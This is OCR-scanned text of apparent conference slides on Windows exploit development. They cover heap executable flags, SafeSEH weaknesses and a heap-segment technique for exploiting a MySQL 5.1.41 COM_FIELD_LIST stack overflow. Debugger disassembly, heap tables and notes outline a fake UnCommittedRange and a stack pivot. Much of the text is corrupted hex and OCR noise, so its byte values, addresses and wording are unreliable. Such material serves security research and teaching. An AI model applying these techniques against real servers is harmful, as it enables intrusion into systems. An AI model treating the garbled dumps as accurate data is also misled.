linzse Fliees ele Sett'”i} ' 0036000C | 00000002 | Flags 5

such as isDebug, Exceptionn ~  “----mmom oot

Raising, and Executable
Hea — ,
P SEWX%%WPHGGWSJ—‘

Heap Flags
Name Value Description
i HEAP_CREATE_ENABLE_EXECUT : 0x00040000 : All memory blocks that are
E  allocated from this heap allow
' ' code execution
R e P s e s 4
. HEAP_GENERATE_EXCEPTIONS : 0x00000004 : Raise an exception to indicate
' failure

)




1 FE FF B3 C4 EC 89 04 24 CV 44 24 04 01 00 00 0O 83 5C 24 08 C7
T C7 44 24 08 00 00 00 P0C7 44 24 10 00 00 UD 00 54 E8 39 n0 [0
24 08 CD 2E C3 90 55 /B . C E f 4 3 D F S f 3 I, o’

0 00 00 54 E5 76 00 00 0O C2 08 00 8D 4% 00 55 8B EC &3 EC 50 89 44 24 0C &4 A1 15 OO0 0O O
ES N C3 BB FF 89 44 724 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D 64 24 00 8
45 ﬂp .f 1- 7 M0489500CC7 042407 00010089BCCeEA0LS51FF 75 08ERD
4

24 8B
NEA-

' 59 41 0C 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
FE 3 FF FF ?4 24 2U FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 5

go o
24 o
L

JRIRTI
%0 FC FF FF 54 Ef 16 \1 AL i DiC 2L o
T FF CC 90 BA 4D 10 1C 77 EB 08 90 BA 74 10 1C 77 8L 09 53 56 57

| 7C833C50 MOV EAX,DWORD PTR DS:[EAX+C]
1 7C833C53 AND EAX,40000

' 7C833C58 NEG EAX

' 7C833C5A SBB EAX,EAX

' 7C833C5C AND EAX,3C

' 7C833C5F ADD EAX,4

| 7C833C62 PUSH EAX

' 7C833C63 PUSH 1000

7C833C68 PUSH EBX

7C833C69 PUSH 0

7C833C6B LEA EAX,DWORD PTR SS:[EBP+14]
7C833C6E PUSH EAX

| 7C833C6F PUSH -1

1 7C833C71 CALL ntdll.ZwAllocateVirtualMemory

______________________________________________________

Loa c%g‘fmm%eap%aseg

allocation




1 FF FF 83 C4 EC 89 04 24 C7 44 24 04 01 0O 00 OO 89 5C 24 08 C7 44 24 10 00 00 0O 00 =4 E8 76 OO OO0 OO0 €2 O 00D =D 43 00 55 8B EC 83 BC 50 99 44 24 0C w4 A1 18 00 OO0 O
TC7 44 24 08 00 00 00 00 C7 44 24 100D 00 00 00 54 E8 29 00 00 0P 88 04 24 8B ES N C3 BB FF 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D 64 24 00 8
24 08 CD 2E C3 90 55 8B EC 8D &4 i 30 ZF TF 0T Ta Fo 5 0. o0 00 @3 50 %o "o 45 7% 70 75 o4V CL 00 00 00 04 89 50 0CC7 04 24 07 00 01 00 8B CC 64 01 51 FF 75 08 EB D
%0 FC FF FF 54 E& 16 01 00 00 83 ¢4 2/ 7 »L FC /0 (4 £ 32 22 D 0w 'R 45 0/ 7 4 2 "7 00 01 00 89 41 0C B3 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Ba 74 10 1C 77 8D 09 53 56 57 33 C0 33 JUB 33 F& 33 FF FF /4 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 5

Before flag change L__1eap Vi nagement ;
: : i Address ' Value

Memory map =N =R o oo 4

Address Section |Contains

[]]
a0 aon
a0 @o
a0 &
a0 &
a0 @on
a0 @on
a0 @on
a0 aon
a0 @o
apn en
a0 &
a0 &
a0 @on
a0 @on
a0 @on
a0 aon
a0 @o
apn en
a0 aon

G0
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IT1 M [T [T [T o i m mimmm

I

[l B e o B B B Bk N N e R R R B B B B

Lo o o o e o R e Y o o o o o Eo
50 S D R S T D T S D D D T D T T )
S o T D D D o D o o o 50 0 O D D ) D
ooooooooOoooOoOoooooooOod
O D D O O O D D O O
ooooOooOooOoOOoOoOoOoOoOoooooooooan
D O W O O D O O
ooooooOoooOoOooooooooonO

INSOMNﬁ_____________________-



1 FF FF 83 C4 EC 83 04 24 C7 44 24 04 01 DO 00 OO 89
TC7 44 24 08 00 00 00 00 C7 44 24 100D 00 00 0O 54
24 08 CD 2E C3 90 55 8B EC 8D 44 (4 30 7T 7F T T4
%0 FC FF FF 54 EB 16 01 00 00 83 ¢4 2/ 7 »L "L '0
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Bi 74 10 1C 77

After flag change

Mernory map

Hddress Section |Contains

oL 24 08 C7 44 24 10 00 00 0O
ES 29 00 00 0OM 88 04 24 8B ES
Fo 82 0. o0 2150 o8 "o 45
(a4 £ 37 2~ D 0w ar 'R 45
8D 09 53 56 57 33 C0 33 UB 33

IT1 M [T [T [T o i m mimmm

I

[l B e o B B B Bk N N e R R R B B B B
=1=l=lalal=]l=l=l=)=]al=)=)=]=l=]=] =Ty

00 54 E8 76 00 00 00 €2 08
N C3 BB FF 899 44 24 04 89
Te T= et CL 0000 00 04
ne =7 47700010089
F& J3 FF FF /4 24 20 FF 74

=

00 5D 49 00 55 8B EC o3 BC 50 99 44 24 0C 64 A1 18 00 00 O
5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D &4 24 00 8
89 50 0CC7 04 24 07 00 01 00 8B CC 64 01 5L FF 75 08 EB D
41 0C 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 5

G0
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1 F¢ FF B3 C4 EC 89 04 24 CV 44 24 04 01 00 00 00 8% 5C 24 08 C7 44 24 10 00 00 00 00 54 E8 76 00 00 OO C2 08 00 8D 43 00 55 5B EC 83 EC 50 89 44 24 0C 64 A1 18 OO OO O
T C7 44 24 08 00 00 00 00 C7 44 24 10 00 00 00 00 54 E8 29 00 ﬂ 00 °n n4 24 PB ES 5D C3 BB FF 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D &4 24 00 8
24 08 CD 2E C3 90 55 8B EC 8D A4 24 30 FD FF FF 54 E§ ©s 3‘ 0 H ‘E Q' B3 45 08 93 84 24 C4 00 00 00 04 89 50 0C C7 04 24 07 00 01 00 8B CC 64 01 51 FF 75 08 E8 D

%0 FC FF FF 54 Ef 16 01 00 00 83 84 24 C4 00 00 00 04 # N 0] £8 45 04 C7 04 24 07 00 01 00 89 41 0C B3 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EB 08 90 Ba 74 10 1C 77 8D 09 53 56 57 33 C0 33 DB 33 F6 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 5

Prevents the abuse of SEH records
»[safeseh linker option

| ets Assume There Are

%ﬁone

Common known weaknesses

*Handler in a module not /safseh
»Handler not in a loaded module T aee |
»Handler on the heap T |

. RETURN ADDRESS
This is not useful, W . Ptr To Next SEH Record
not executable! . PtrToSEHandler

EXECPTION HANDLER

EXECPTION HANDLER




1 FF FF 83 C4 EC 89 04 24 C7 44 24 04 01 0O 00 OO 89 5C 24 08 C7 44 24 10 00 00 0O 00 =4 E8 76 OO OO0 OO0 €2 O 00D =D 43 00 55 8B EC 83 BC 50 99 44 24 0C w4 A1 18 00 OO0 O
TC7 44 24 08 00 00 00 00 C7 44 24 10 00 00 00 00 54 E8 29 00 ﬂ 00 o5 n4 24 PB ES 5D C3 BB FF 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D 64 24 00 8

24 08 CD 2E C3 90 55 8B EC 8D A4 24 30 FD FF FF 54 E§ ©s Z. 0 H ‘E Q' B3 45 08 93 84 24 C4 00 00 00 04 89 50 0C C7 04 24 07 00 01 00 8B CC 64 01 51 FF 75 08 E8 D
%0 FC FF FF 54 Ef 16 01 00 00 83 84 24 C4 00 00 00 04 # N 0] £8 45 04 C7 04 24 07 00 01 00 89 41 0C B3 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Bi 74 10 1C 77 8D 09 53 56 57 33 C0 33 DB 33 F6 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 5

Not so common known weaknesses
» Existing registered handlers

»Mentioned by Litchfield
»Dissected by Ben Nagy

rooTTooemoTomooe : Multiple DLLS channel there

fmmmmmmmm i m e . S — exceptions through MSVCRT
. WS2_32.DLL ' : 770f0539




=

1 FF FF 83 C4 EC 89 04 24 C7 44 24 04 01 0O 00 OO 89 5C 24 08 C7 44 24 10 00 00 0O 00 =4 E8 76 OO OO0 OO0 €2 O 00D =D 43 00 55 8B EC 83 BC 50 99 44 24 0C w4 A1 18 00 OO0 O
TC? 44 24 08 00 00 00 00 77 44 24 1000 Q0 QO Qg A F2 33 00 00 00 BB 04 24 8B RS 5[ C3 BB FF 8% 44 24 04 89 5C 24 03 E9 71 94 FD FF 8D A4 24 00 00 00 00 3D 64 24 00 3
R et

24 08 CD 2E C3 90 55 &8I EC "D ¢4 "4 " "D FT TF S4 E7 Fus 01 00 o™ 90 57 o0 Lo B 00 C3 oot et O ) w04 89 50 0CC7 04 24 07 00 01 00 8B CC 64 01 51 FF 75 08 EB D
%0 FC FF FF 54 EB 16 01 70 00 83 34 24 (4 L 1] nr 04 ou BC 24 00 aroawe 3F 506 7 0L 2 00 3ocp I0 89 41 0C B3 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Bi 74 10 1C 77 8D 09 53 50 57 33 C0 33 JB 35 ro 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 5

If we can write NULLS to

. We stack

And we can guess the

: N/ék range

And we can spray a

Wp range

s Then yes,”we can reach
this code

Good Luck With That




'1 F¢ FF B3 C4 EC 89 04 24 CV 44 24 04 01 00 00 00 8% 5C 24 08 C7 44 24 10 00 00 00 00 54 E8 76 00 00 OO C2 08 00 8D 43 00 55 5B EC 83 EC 50 89 44 24 0C 64 A1 18 OO OO O
T C7 44 24 08 00 00 00 00 77 44 24 10 A0 Q0 00 A0 4 T2 33 00 00 00 8B 04 24 8B F5 5[ C3 6B FF 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D 64 24 00 8
2408CD2EC3905581£ D44 DIb54EFJUlDUQ"4—..wuJI;SUE 31;';J7U048950DCC?U424U?UDUlUDEBCCEAUISlFF?SUSEBD

%0 FC FF FF 54 E8 16 01 10 00 83 34 24 (1 [ (4 ou 8C 24 1 L2 AP 'I| F 50 (7 Ny Jo 0 B9 41 0C 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0

T FF CC 90 BA 4D 10 1C 77 EB 08 90 B 74 10 1C 7 8D 09 53 50 57 33 CO 33 JB 35 ro 33 FF FF ?4 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 EB 08 00 00 00 &

+ 77BC6CA1 MOV ESI,DWORD PTR DS:[EBX+C] ; Load SEH+C
77BC6CA4 MOV EDI,DWORD PTR DS:[EBX+8] ; Load SEH+8
77BC6CA7 PUSH EBX

77BC6CA8 CALL msvcrt.77BCA3BE ; Call validation routine
- g

O]

Sena ook

S Record | X000 o |
ander i778Coc7d o FakeRecord
Sttes I Nonsack P | FRFFFFFE | EIPTARGET |




1 FF FF 83 C4 EC 89 04 24 C7 44 24 04 01 0O 00 OO 89 5C 24 08 C7 44 24 10 00 00 0O 00 =4 E8 76 OO OO0 OO0 €2 O 00D =D 43 00 55 8B EC 83 BC 50 99 44 24 0C w4 A1 18 00 OO0 O
T C7 44 24 08 00 00 00 00 C7 44 24 10 00 00 0" 00 54 E® 23 00 00 00 8B "4 24 8B E5 50 C3 6B F¥ 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D 64 24 00 8

24 08 CD 2E C3 90 55 8B EC 8D 44 24 30 FD /F el 3" 20 60 [u 00 %0 20 5 ) "F V8 03 P5 €2 24 C4 00000004 89500CC7 042407 00010088 CCEG640LGSLFF7508ERD
%0 FC FF FF 54 E2 16 01 00 00 83 84 24 C4 A Jr 07 0 81 {24 DI =2 0 ) I {§ Fl L7 4 -407 0001 0089 41 0C 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 pa +& 10 1C 77 8D 09 53 56 57 33 C0 33 DB 33 F6 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 5

77BESESB MOV EAX,msvcrt.77BESEFO
77BESEG60 JMP msvcrt.  CxxFrameHandler2 ; Call the FrameHandler

Microsoft Yisual C++ Runtime Library

Funtime Error!

Prograrm:

This application has requested the Runtime to kerminate it in an unusual way,
Please conkact the application's support team for mare information,




'1 F¢ FF B3 C4 EC 89 04 24 CV 44 24 04 01 00 00 00 8% 5C 24 08 C7 44 24 10 00 00 00 00 54 E8 76 00 00 OO C2 08 00 8D 43 00 55 5B EC 83 EC 50 89 44 24 0C 64 A1 18 OO OO O
TC7 44 24 08 00 00 00 00 C7 44 24 10 00 0O 00 00 54 E? 39 00 00 00 BB 04 24 8P ®E G 73 PR FF 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D w4 24 00 8
2408CD2EC390558BEC8DA424UrFFF1Eﬁ 1P 03B S5 0.8 &% 02878404 C40000000489500CC7 042407 0001008BCCeE40151FF 7508 E8D
%0 FC FF FF 54 Ef 16 01 00 00 83 84 .t .. /[ ") Lt L . CL4Dy 02wl D E 4 0¢7 N 40700010089 41 OC 83 61 10 00 8B 45 03 83 61 08 00 83 01 C7 41 04 01 D
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Bi 74 10 1C 77 8D 09 53 56 57 33 CO 33 DB 33 F6 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 5

MYSQL < =5.1.41 COM_FIELD_LIST
» Stack overflow
»Supply a long field name as the parameter

[14:58:24] Access violation when writing to [03310000] - uze Shift+F 7/FE/FT to pass exception to program

'““'FFHH
: Fointer to nexst SEH record
SE handler

Mol BYTE PTR DS:CECK], AL
AOD ECk, 1
AOD ED:, 1
TEST HL,.HL

SHORT mysqld. @Be9
LEA ERx,DOWNORD FPTR D=

I;; hhhh




1 FF FF 83 C4 EC 89 04 24 C7 44 24 04 01 0O 00 OO 89 5C 24 08 C7 44 24 10 00 00 0O 00 =4 E8 76 OO OO0 OO0 €2 O 00D =D 43 00 55 8B EC 83 BC 50 99 44 24 0C w4 A1 18 00 OO0 O
TC7 44 24 08 00 00 00 00 C7 44 24 10 00 00 00 0O 54 E8 23 00 N0 00 98 n4 24 2B ES 5D C3 BB FF 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D 64 24 00 8
24 08 CD 2E C3 90 55 8B EC 8D A4 24 30 FD FF FF 54 E§ &5 00 0 00 @5 £ 0' ¢35 45 08 93 64 24 C4 00 00 00 04 89 50 0C C7 04 24 07 00 01 00 8B CC 64 01 51 FF 75 08 EB D
%0 FC FF FF 54 E& 16 01 00 00 83 84 24 C4 00 00 00 04 #7 & 4 173 07 10 0] £8 45 04 C7 04 24 07 00 01 00 89 41 0C B3 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Ba 74 10 1C 77 8D 09 53 56 57 33 C0 33 DB 33 F6 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 5

No modules to be used
*No useable memory addresses
* Can'’t fall back to ret overwrite due to /GS

Try a longer string?
» Maybe a different code path is taken




1 FF FF 83 C4 EC 83 04 24 C7 44 24 04 01 DO 00 OO 89

24 08 CD 2E C3 90 55 8B EC 8D 44 24 " ¢7 7T 0 Fa

Different AV

Different Code
——totatiQqn_——

A4 18BC3

oL 24 08 C7 44
TC7 44 24 08 00 00 00 00 C7 44 24 10 0™ 00 00 0O 54 E9 39 00 00 Op
P D L a1
%0 FC FF FF 54 EB 16 01 00 00 83 84 .4 2 /(10 Lu gt 8]
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Ba 74 10 1C 77 8D 09 53 5u 47 33

300

/| [15:08:53] Acceszs violation when reading [EEEEEEEE]

FFC4
FFCa
FFCC

24 10 00 00 OO 00 54 E8 76

hhhh
hhhh
hhhh
hhhh
hhhh
hhhh
hhhh
hhhh
hhhh
hhhh
hhhh
hhhh
hhhh
hhhh
hhhh
hhhh
hhhh
hhhh
hhhh
hhhh
hhhh
= hhhh

oo o0 o0 C2 o8 00 8D 43 00 55 5B EC 83 EC S0 89 44 24 0C 64 A1 18 OO OO O
BB 04 74 §P TS 5D C3 BB FF 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D &4 24 00 8
o ;s PPy 62 2. C40000000489500CC7 04 240700010048BCC64A01CLFF 7508 E8D
4 woouv (4 2. 07 00010089 41 0C 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
33 DB 33 F6 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 5

- uze Shift+F7/FE/FS to pazs exception to program

Fointer to next SEH record
SE handler




FE FF B3 C4 EC 89 04
TC7 44 24 08 00 00 00
24 08 CD 2E C3 90 55
%0 FC FF FF 54 Ef 16
T FF CC 90 BA 4D 10

3B 04 24 8B ES
S 5L 0. fL 45

EC 24 08 E9 71
89 50 0C C7 04
41 0C 83 61 10
24 20 FF 74 24

00 00 00 54 B8 39

74 10 1C 77 8D

I
bS]

—
il

=
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5
K

—
S

5
il

(%
=

iy,
Bl Il I 50 el
T T T T T
Bl Il I 50 el
T T T T T
Bl Il I 50 el
T T T T

% I

Dump - 03310000..033E8FFF

00 55 8B EC 83 EC 50 89
94 FD FF 8D A4 24 00 00 00 00
24 07 00 01 00 9B CC 64 01 51
00 8E 45 08 83 61 08 00 89 01
20 FF 74 24 20 FF 74 24 20 EB

Gua] Rl
Gua] Rl
Gua] Rl
Gua] R

Rl
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44 24 0OC B4
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1 FF FF 83 C4 EC 89 04 24 C7 44 24 04 01 0O 00 OO 89 5C 24 08 C7 44 24 10 00 00 0O 00 =4 E8 76 OO OO0 OO0 €2 O 00D =D 43 00 55 8B EC 83 BC 50 99 44 24 0C w4 A1 18 00 OO0 O
TC7 44 24 08 00 00 00 00 C7 44 24 10 00 00 00 0O 54 E8 29 00 00 00 @2 04 24 9B ES 5D C3 BB FF 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 (00 00 00 00 8D 64 24 00 8
24 08 CD 2E C3 90 55 8B EC 8D A4 24 30 FD FF FF 5S4 E§ . )" " [0 82 55 (4 B 45 08 83 64 24 C4 00 00 00 04 89 50 0C C7 04 24 07 00 01 00 8B CC 64 01 51 FF 75 08 EB D
%0 FC FF FF 54 E& 16 01 00 00 83 84 24 C4 00 00 00 04 D 3 "« 70 0 N0 (0 8B 45 04 C7 04 24 07 00 01 00 89 41 0OC 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Ba 74 10 1C 77 8D 09 53 56 L7 33 CO 33 DB 33 F6 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 5

Interesting

»Doesn’t help us bypass SafeSEH restritions
*Wonder what this other memory is?

»|f only we could stop the current thread from crashing

Microsoft Yisual C++ Runtime Library Ed

@ Runkime Error!

Program:

This application has requested the Runtime Eo kerminate it in an unusual way,
Please contact the application's support team For more information,




1 FF FF 83 C4 EC 83
TC7 44 24 08 00 00
24 08 CD 2E C3 90
%0 FC FF FF 54 E8
T FF CC 90 BA 4D

FOCFFOFF
16

14

£
2BEZFEFF
COBEFOFF

T 1 |:I"| |:I"| |:I"| |:r'| |:r'| |:r'| |:r'| |:I"| L

T |:r'| [T

I T |:I"| T

04 24 C7 44 24

0o
55
16
10

00 C7 44 24
8B EC 8D A4
01 00 00 83
1C 77 EB 08

04

2
8
90

gl 00 00 00 83 5C 24 08 C7 00 54 E8 76 00 00 00 C2 05 00 8D 49 00 55 8B EC 83 EC 50 899 44 24 0C 64 Al 18

00 00 00 00 54 ES 32 00 00 O BR 0 8 ENC3 BB FF 99 44 24 04 89 5C 24 089 E9 71 94 FD FF 8D A4 24 00 00 00 00 2D 64
30 LT FE GYEN ST ML 00 @ 50 % "o 4508 P, 2. 20 T4 00 00 00 04 89 50 0C C7 04 24 07 00 01 00 9B CC 64 01 51 FF 75
24 CLO, LT )0l R T DO 0w w R 45 04 (7 (4 2 7 00 01 00 89 41 0C B3 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41
Bi 74 10 1C 77 8D 09 53 56 57 33 C0 33 LB 33 F6 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 09 00

O5: [EEX]
CESI+2], EDO

Funktirme Error!

Progrann:

This application has requested the Runkime ko terminate it in an unusoal way,
Please contact the application's support keam For mare information,
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1FFFFBBC4EC890424C?44240401DDDDDD895C24UBC?44241I]IJIJDDUUDDS4E8?EDDDDDDC2DSDDED4900558BEC83EC50894424DC64AIIBDDDDD
TC7 44 24 08 00 00 00 00 C7 44 24 10 EIDDDDDDDS4EE39IJIJEII"I]I]BEI]424BBE En C3 BB FF 89 44 24 M4 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D 64 24 00 8
2408CD2EC39U:‘:8‘3‘TI4L‘JF‘TP;.L.5“€ '-ClJ]“",u 0‘34"”1%4.2..* }fEf‘4Q?SUDCC?U424U?UDUlUDEBCCEAUISlFF?SUSEBD
%0 FC FF FF 54 E& L6 0' 1 Gva I F3 4. 0C 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
FFFCCQDBA4D10lC??ELDSBDBA? 01C7?8DI]953565733CI]33DB33F633FFFF?4242DFF?4242DFF74242DFF?42420FF?4242DESDEDDDDDDS

Heap segment
+Created when heap is extended
»Pointer stored in base heap Heap Management :

40 byte chunk contains OO3EOOOO Base Address
+Heap chunk header  003E0058 | Segmentsl64]
*Segment metadata

Segment header queried

» During allocation for large size

»Segment queried on uncommitted memory
*Will commit and insert new chunk into freelist[0]




1 F¢ FF B3 C4 EC 89 04 24 CV 44 24 04 01 00 00 00 8% 5C 24 08 C7 44 24 10 00 00 00 00 54 E8 76 00 00 OO C2 08 00 8D 43 00 55 5B EC 83 EC 50 89 44 24 0C 64 A1 18 OO OO O
T C7 44 24 08 00 00 90 00 C7 44 24 17 00 00 DD DD 54 ES 39 00 00 00 E H-l 24 B EE En C3 8B TF 87 44 24 ﬂﬁl 89 5C 24 08 E9 71 9A FD FF 8D A4 24 00 00 00 00 8D 64 24 00 8
24 08 CD 2E C3 90 -t 87 =0 I 4;‘ 30 l" ToELET 01t 0 4t “‘? 4 Z'“f F E f‘ 4 w350 0CC7 042407 0001008BCC64A01CLFF 7508 E8D
%0 FC FF FF 54 E& L6 0' 1 Gvo. 1 8C 26w \_\'\ L ‘_1!4“ F3 4. 0C 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EL 08 90 BA 74 D 1C 77 8D 09 53 56 57 33 C0O 33 DB 3 F 3 FF FF 74 24 2U FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 EB 08 00 00 00 &

nddes | Vawe | besrpion | f0Bvechunk
[ostooos | FreErreE | saature |
“osaioooc | oooooo0o Flags |
“osaio0io | ooseoooo Heap |

‘30014 | LorgestUnCommitiedRange | Adress for newy cregte
G33i001s | 03310000 | Base Aderess | chunkous
0331001c | 00000400 | Number of pages |
osio0n0 | omsioono Frstemry |

“osaio0% | 03FFOITL LastvaigEriry |

oioos | Numberouncommitiedbages | | Uncommiticdnanges
osstonnc | NumberoUnCommitiedfanges | | Address | Deseription
03310030 | 003E0%88 | UnCommittedanges || %0 | Fags/h poges
03310034 | 00000000 | AlocatorBackTraceindex || 5 | hunk Address
0331003 | 00000000 | Reserved | r
03310038 | 03310040 | Losentyinsegment |

N et st et e st et s e s s et e s s et e st et e st et e st e e s s




1 FE FF B3 C4 EC 89 04 24 CV 44 24 04 01 00 00 00 83 5C 24 O C7 44 24 10 00 00 00 0O 54 E8 76 00 00 OO C2 08 00 8D 43 00 55 8B EC 83 EC 50 89 44 24 0C 64 Al 18

go oo o
TC7 44 24 08 00 00 00 00 C7 44 24 17 00 00 00 0O 54 E8 39 00 O 00 BB 04 24 8B EE BN C3 BB WF 89 44 24 n4 89 5C 24 08 E9 71 94 FD FF 8D A4 24 (00 00 00 00 8D 64 24 00 8
24 08 CD 2E C3 90 =& 87 =C [ ;4 o* 3P 7 P ST LTS ET AL 01 M e L FL 0L 8T 48 MR 9T DL 2 e 0 0D 04 03 50 0C C7 04 24 07 00 01 00 8B CC 64 01 51 FF 75 08 EB D
%0 FC FF FF G4 EB L6 0' 0 [ F3 Lt .. i GV 1 BC 2¢ W o L0 GBI AE RA T As B 1 i1 0L £) 4 0C 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0

'F FF CC 90 B 4D 10 1C 77 EL 08 90 Ba 74 D lC 77 8D 09 §3 56 57 33 C0 33 DB 33 F6 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 §

Exploit needs to setup
» FirstEntry pointer

» UnCommittedRange (this controls the returned address)
Hew dump

o |

!

o |

el

e e e e

.._.._.._.._
el T
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UnCommittedRange

Range Address

= .
(R N E o
[ e e
LN A Q0
o S —=
N o e
o S —=
L L
N B
L L B
N o B

S GG ED
L L )

(R N E o
Jo Lo o

H il
N oy B
N e B oy
L L
=
R N L
S =
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1FFFFBSC4EC8904 24 C7 44 24 04 01 DO 00 OO 8% 5C 24 Os C7 44 24 10 00 00 0O 00 54 E8 76 00 00 00 C2 05 00 S0 49 00 55 8B EC o3 BC 50 99 44 24 0C w4 A1 18 00 00 O
TC7 44 24 08 00 00 00 00 C7 44 24 10 00 00 00 0O 54 E2 39 00 00 00 @8 04 24 8B ES 5D C3 BB FF 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 (00 00 00 00 8D 64 24 00 8
24 08 CD 2E C3 90 55 8B EC 8D A4 24 30 FD FF FF 5. | 3:',;10Ci.nu3?(I0883B424C4UUUU00048950DCC?U424U?UDUlUDEBCCEAUISlFF?SUSEBD
%0 FC FF FF 54 E& 16 01 00 00 83 84 24 C4 00 00 02 ) o7 3C 21 D) (2 oy o 9F 1= 04 C7 04 24 07 00 01 00 89 41 0C 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EB 08 90 Bia 74 10 1C 78D095356533CD3gDB3 F& 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 EB 08 00 00 00 &

At next large allocation
» Fake uncommittedrange used
+*01ACBA90 is returned
» Data written to allocated buffer

ke’
ke’

T

e e o e
il D0 10 150 1yl
e

AR

e
e

ol el ol ol Sl ]
1T T T T T en
il inninml
nagunpunpuniun} IT)
1 T I IO T Rl
e e e el

e e e el
e e e el
10 0 0 a0

e e e el

e
e

.._.._.._.._.._
S S SR R e
(-

N —
il It 10 150 1l
T T T T
il It 10 150 1l
T T T T
Bl i d el 10 Is
T T T
Dl Il Il s 15
T T T T
il It 10 150 1l

N —
il It 10 150 1l
T T T T
il It 10 150 1l
T T T T
Bl i d el 10 Is
T T T
Dl Il Il s 15
T T T T
il It 10 150 1l
T T T T
il It 10 150 1l
T T T T
Bl i d el 10 Is
T T T
Bl Bl gl 10 I

10 0 0 a0




TC7 44 24 08 00 00 00 00 C7 44 24 10 00 00 00 0O 54
24 08 CD 2E C3 90 55 8B EC 8D A4 24 30 FD FF FF 54
%0 FC FF FF 54 E& 16 01 00 00 83 84 24 C4 00 00 00
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Bi 74 10 1C 77

Function table accessed
» EAX points to our data

' 00446919 PUSH EDI

' 0044691A PUSH EBX

| 0044691B PUSH EBP

' 0044691C PUSH ECX

' 0044691D MOV ECX,ES|
' 0044691F CALL EDX

1 00424983 PUSH EAX

1 FF FF 83 C4 EC 83 04 24 C7 44 24 04 01 DO 00 OO 89 5

' 00446914 MOV EAX,DWORD PTR DS:[ESI]
1 00446916 MOV EDX,DWORD PTR DS:[EAX+4]

1 00424984 POP ESP i

C 24 08 C7 44 24 10 00 00 00 00 54 E8 76 00 00 OO C2 08 0O 8D 43 00 55 5B EC 83 EC 50 89 44 24 0C 64 A1 18 OO0 OO O

E§ 20 np no Qp o2 na 24 90 ES 5D C3 BE FF 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D 64 24 00 8
Eg B i1 n.Qr ®B 5 7 £345 08 83 84 24 C4 00 00 00 04 89 50 0C C7 04 24 07 00 01 00 9B CC 64 01 51 FF 75 08 EB D
